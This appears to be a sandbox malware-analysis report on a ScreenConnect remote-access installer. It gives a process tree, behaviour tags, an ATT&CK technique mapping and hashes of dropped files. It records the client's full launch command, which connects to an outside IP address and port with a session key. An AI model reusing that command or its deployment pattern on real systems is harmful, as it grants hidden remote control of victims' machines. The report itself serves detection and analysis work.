                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5976,i,14744024640828139439,12624084830696424429,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:14
                                                                                        2⤵
                                                                                          PID:4316
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,2370238683401428857,3974771390504494064,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:14
                                                                                          2⤵
                                                                                            PID:240
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6884,i,12658430091647858011,4089233199585926410,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:14
                                                                                            2⤵
                                                                                              PID:2120
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7580,i,5905993996099602852,5728949024846401434,524288 --field-trial-handle=2128,i,9206287428819230819,5252391663764796033,262144 --variations-seed-version --mojo-platform-channel-handle=7588 /prefetch:14
                                                                                              2⤵
                                                                                                PID:3736
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                              1⤵
                                                                                                PID:3792
                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                1⤵
                                                                                                • Enumerates connected drives
                                                                                                • Boot or Logon Autostart Execution: Authentication Package
                                                                                                • Drops file in Program Files directory
                                                                                                • Drops file in Windows directory
                                                                                                • Modifies data under HKEY_USERS
                                                                                                • Modifies registry class
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:4600
                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding BF1A056F8C155672CAF8616B48E0A365 C
                                                                                                  2⤵
                                                                                                  • Loads dropped DLL
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2680
                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7C6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240715921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                    3⤵
                                                                                                    • Loads dropped DLL
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:4472
                                                                                                • C:\Windows\system32\srtasks.exe
                                                                                                  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                                  2⤵
                                                                                                    PID:1000
                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 34B95202ECC368066BA6B048E6D64D91
                                                                                                    2⤵
                                                                                                    • Loads dropped DLL
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:4904
                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 817B6DAD27154FC88D57BC6F4E330BC4 E Global\MSI0000
                                                                                                    2⤵
                                                                                                    • Loads dropped DLL
                                                                                                    • Drops file in Windows directory
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:808
                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                  1⤵
                                                                                                  • Checks SCSI registry key(s)
                                                                                                  PID:4560
                                                                                                • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
                                                                                                  "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=93.157.106.243&p=8041&s=faa4aadf-5d17-4f5b-986b-eed31d9f22ca&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=nancy%20hendricks"
                                                                                                  1⤵
                                                                                                  • Sets service image path in registry
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • Drops file in System32 directory
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  PID:1132
                                                                                                  • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
                                                                                                    "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe" "RunRole" "b1f2727c-ab22-4d86-b0c2-63cc15b94fcb" "User"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3900
                                                                                                  • C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe
                                                                                                    "C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe" "RunRole" "16ef9257-af6d-46c2-969f-9ddd8157412c" "System"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Drops file in System32 directory
                                                                                                    • Checks processor information in registry
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:808
                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                  "C:\Windows\system32\taskmgr.exe" /0
                                                                                                  1⤵
                                                                                                  • Checks SCSI registry key(s)
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                  PID:5416
                                                                                                • C:\Windows\system32\sihost.exe
                                                                                                  sihost.exe
                                                                                                  1⤵
                                                                                                    PID:968
                                                                                                    • C:\Windows\explorer.exe
                                                                                                      explorer.exe /LOADSAVEDWINDOWS
                                                                                                      2⤵
                                                                                                      • Boot or Logon Autostart Execution: Active Setup
                                                                                                      • Enumerates connected drives
                                                                                                      • Checks SCSI registry key(s)
                                                                                                      • Modifies registry class
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:5152
                                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                    1⤵
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:5352
                                                                                                  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                    1⤵
                                                                                                    • Enumerates system info in registry
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:3616

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                        Reconnaissance

                                                                                                        Resource Development

                                                                                                        Initial Access

                                                                                                        Execution

                                                                                                        Persistence

                                                                                                        Boot or Logon Autostart Execution

                                                                                                        3
                                                                                                        T1547

                                                                                                        Active Setup

                                                                                                        1
                                                                                                        T1547.014

                                                                                                        Authentication Package

                                                                                                        1
                                                                                                        T1547.002

                                                                                                        Registry Run Keys / Startup Folder

                                                                                                        1
                                                                                                        T1547.001

                                                                                                        Create or Modify System Process

                                                                                                        1
                                                                                                        T1543

                                                                                                        Windows Service

                                                                                                        1
                                                                                                        T1543.003

                                                                                                        Event Triggered Execution

                                                                                                        1
                                                                                                        T1546

                                                                                                        Component Object Model Hijacking

                                                                                                        1
                                                                                                        T1546.015

                                                                                                        Privilege Escalation

                                                                                                        Boot or Logon Autostart Execution

                                                                                                        3
                                                                                                        T1547

                                                                                                        Active Setup

                                                                                                        1
                                                                                                        T1547.014

                                                                                                        Authentication Package

                                                                                                        1
                                                                                                        T1547.002

                                                                                                        Registry Run Keys / Startup Folder

                                                                                                        1
                                                                                                        T1547.001

                                                                                                        Create or Modify System Process

                                                                                                        1
                                                                                                        T1543

                                                                                                        Windows Service

                                                                                                        1
                                                                                                        T1543.003

                                                                                                        Event Triggered Execution

                                                                                                        1
                                                                                                        T1546

                                                                                                        Component Object Model Hijacking

                                                                                                        1
                                                                                                        T1546.015

                                                                                                        Defense Evasion

                                                                                                        Modify Registry

                                                                                                        2
                                                                                                        T1112

                                                                                                        Credential Access

                                                                                                        Discovery

                                                                                                        Browser Information Discovery

                                                                                                        1
                                                                                                        T1217

                                                                                                        Peripheral Device Discovery

                                                                                                        2
                                                                                                        T1120

                                                                                                        Query Registry

                                                                                                        5
                                                                                                        T1012

                                                                                                        System Information Discovery

                                                                                                        4
                                                                                                        T1082

                                                                                                        System Location Discovery

                                                                                                        1
                                                                                                        T1614

                                                                                                        System Language Discovery

                                                                                                        1
                                                                                                        T1614.001

                                                                                                        System Time Discovery

                                                                                                        1
                                                                                                        T1124

                                                                                                        Lateral Movement

                                                                                                        Collection

                                                                                                        Command and Control

                                                                                                        Exfiltration

                                                                                                        Impact

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        e5940c9.rbs
                                                                                                        • Path C:\Config.Msi\e5940c9.rbs
                                                                                                        • Size 214KB
                                                                                                        • SHA256 6018d548f03f601e8468d83800aedd8323cfbd36b8c2b371a765f214fdcd0975
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.Client.dll
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Client.dll
                                                                                                        • Size 192KB
                                                                                                        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.ClientService.dll
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.dll
                                                                                                        • Size 66KB
                                                                                                        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.ClientService.exe
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe
                                                                                                        • Size 93KB
                                                                                                        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        ScreenConnect.WindowsAuthenticationPackage.dll
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsAuthenticationPackage.dll
                                                                                                        • Size 254KB
                                                                                                        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        app.config
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\app.config
                                                                                                        • Size 2KB
                                                                                                        • SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        system.config
                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\system.config
                                                                                                        • Size 936B
                                                                                                        • SHA256 a657b818566fd77095d3d07d567943ee0850e0807aa5008a354da28f8d3c6ec9
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        protocols.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
                                                                                                        • Size 3KB
                                                                                                        • SHA256 4fd800e7b1a5fb24b13fac2e31946d205012b7c28d8c61580b0669b2fa3517cc
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        autofill_bypass_cache_forms.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\autofill_bypass_cache_forms.json
                                                                                                        • Size 161B
                                                                                                        • SHA256 f7510e38f81f8a84027304070205dd55127e3233fdf011411465ede67b5b5d92
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        edge_autofill_global_block_list.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\edge_autofill_global_block_list.json
                                                                                                        • Size 6KB
                                                                                                        • SHA256 7d3c45c8207ba69066516e51e10a2137bc4f1fce070a692e0c65225f9856e04c
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        v1FieldTypes.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\v1FieldTypes.json
                                                                                                        • Size 509KB
                                                                                                        • SHA256 611e7995ab7599a0c89f98d6c6152a42aaedf7449748109a465bb5b0badd0af2
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        crl-set
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2025.9.4\crl-set
                                                                                                        • Size 22KB
                                                                                                        • SHA256 6ddcaf50aaff98b960d067054ce2ce17872ac0719d02abbb7fe56b9eabc818f2
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        settings.dat
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                        • Size 280B
                                                                                                        • SHA256 a4b35a6422c1c682176591bd42ebef96b0cb78607f98b3c5ee2c0e2d44e526da
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        settings.dat
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                        • Size 280B
                                                                                                        • SHA256 2e4c78c9d4b6915833ca44ba5f9b735c9d9e0bf49d6aa045c47aaaa63f1f9359
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        LOG.old
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                        • Size 331B
                                                                                                        • SHA256 c4ba8e81c477f25e7b029244ab3bc67252f392fb44c56e1a688360387ff02a5e
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        LOG.old
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                        • Size 352B
                                                                                                        • SHA256 0f93da9618245dc224e8e071fbf053e9abc2e63d9d3364d640f41cbb7b39a707
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        MANIFEST-000001
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
                                                                                                        • Size 158B
                                                                                                        • SHA256 249358b1eab901f0b034023569e7f01b1f94c9179591789d99d6f279761d6e1c
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        BookmarkMergedSurfaceOrdering
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                        • Size 6B
                                                                                                        • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        the-real-index
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                        • Size 3KB
                                                                                                        • SHA256 4487ec3f942eff1b9a8779cdfea5dd9da6f1783d93477554dcda45e47d43334b
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        the-real-index~RFe5893ee.TMP
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5893ee.TMP
                                                                                                        • Size 3KB
                                                                                                        • SHA256 2ca1ab7962319314355217149424c3c5516bb82a7e620f3e63347e802412fc9d
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        SiteList-Enterprise.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                        • Size 2B
                                                                                                        • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        Edge Profile.ico
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                        • Size 70KB
                                                                                                        • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        HubApps
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
                                                                                                        • Size 106KB
                                                                                                        • SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        158c70e0-0686-40d3-82aa-5288fb488bf3.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\158c70e0-0686-40d3-82aa-5288fb488bf3.tmp
                                                                                                        • Size 2B
                                                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                        • MD5 SHA1 SHA512
                                                                                                        Submit Download

                                                                                                        1caada17-e90f-498b-bb2c-3e2ae53a548a.tmp
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\1caada17-e90f-498b-bb2c-3e2ae53a548a.tmp
                                                                                                        • Size 3KB
                                                                                                        • SHA256 eee033ee3573dc2b93aaa8e572cc0d465a4dec5453ba1de278c1cd64776f0d2f
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        Network Persistent State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                        • Size 111B
                                                                                                        • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        Network Persistent State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                        • Size 3KB
                                                                                                        • SHA256 ea3c8671b51a7273745a2929edda3171ab746908ba8fe8373b90e95bcf82804f
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        Network Persistent State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                        • Size 2KB
                                                                                                        • SHA256 8c544083da838fc89a053bbcc6d0c25a762986127f308e4bdf0377fbb2a7092c
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        Preferences
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                        • Size 13KB
                                                                                                        • SHA256 d8b3bb8f94fbf8f23ff5a33fd04fd50417e37242d452f6a98c93d8214519a89b
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Preferences
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                        • Size 14KB
                                                                                                        • SHA256 6657e70a40a62500c9c5915fd4240831cc9c3fc3894a44229a9a051f08343913
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Preferences
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                        • Size 14KB
                                                                                                        • SHA256 3053aeaa29742989d66e201078737c929c59dc1136d78351ef5987d60a4b883d
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Preferences
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                        • Size 29KB
                                                                                                        • SHA256 087a5de7ae8612f33f11728f4db01d6d41037254aaaec2058dcb75d30418551b
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Secure Preferences
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                        • Size 36KB
                                                                                                        • SHA256 69e9186054b490755fac807bd7fb37d324fc45851c418942cc0e059bb912f536
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        the-real-index
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8f35d4dc-b060-4880-abcf-35b75a3e9ccb\index-dir\the-real-index
                                                                                                        • Size 1KB
                                                                                                        • SHA256 a43096f5e7345ac077b81bc4d5652455583965cabd1c1d12b1bf07ea15455437
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        the-real-index~RFe5cd8f3.TMP
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8f35d4dc-b060-4880-abcf-35b75a3e9ccb\index-dir\the-real-index~RFe5cd8f3.TMP
                                                                                                        • Size 1KB
                                                                                                        • SHA256 af10d1f49b631855822474c0e03403bd468ea19108111db0086a4d7a3f8d7f0f
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        index.txt
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                        • Size 371B
                                                                                                        • SHA256 af837977032d0ef11340b5f33a6403cb2a6cdbc5ef581e4c34eac744e9544a04
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        sync_diagnostic.log
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                        • Size 4KB
                                                                                                        • SHA256 748bbf4896aaa4e481943c4ceb69464f0a3e96316e4cc604b00019eca51262ad
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        domain_actions.dll
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Domain Actions\3.0.0.18\domain_actions.dll
                                                                                                        • Size 83KB
                                                                                                        • SHA256 d35c8efcb710239f009633bcc5ae904ac6dafa985d451bedf791cf6909f014d4
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        OperationConfig
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
                                                                                                        • Size 22KB
                                                                                                        • SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        OperationConfig~RFe591b6e.TMP
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe591b6e.TMP
                                                                                                        • Size 3KB
                                                                                                        • SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        office_endpoints_list.json
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2.0.0.0\office_endpoints_list.json
                                                                                                        • Size 3KB
                                                                                                        • SHA256 8480f3d58faa017896ba8239f3395e3551325d7a6466497a9a69bf182647b25e
                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 19KB
                                                                                                        • SHA256 8a6a2e89ffd05ea379201111bfbde8ad80d85002b35d628214445520eece05d4
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 8KB
                                                                                                        • SHA256 95f21a7b39d119f52828beb16f5efe42ac2d804e66634f94c78da7766bc469a1
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 19KB
                                                                                                        • SHA256 54fa57daca449b353e76bd843dc225e9aa742e51ef3a8d51eb0e01b3f6bb1911
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 29KB
                                                                                                        • SHA256 6f96b9a2ca71faa2738e5ecc63353a537bf859c399c0d41e8df914bc037e849b
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 29KB
                                                                                                        • SHA256 a4078e088a8544174eb05426a5e6bdd4243e2f59b4e1932254ff433aa27195c8
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 29KB
                                                                                                        • SHA256 85c4e8cb90a9245ff59f9fffaaec699c6863b3faad42ece0fec7a5b47b985087
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 19KB
                                                                                                        • SHA256 157e1a0815ed15880d08035a432813a5ceb87d28c5e12026f068105021c96831
                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                        Submit Download

                                                                                                        Local State
                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                        • Size 8KB
                                                                                                        • SHA256 f4505e86893efb9a76ccf198f80908a44f50dad6db144f8b8944becf863d5b53
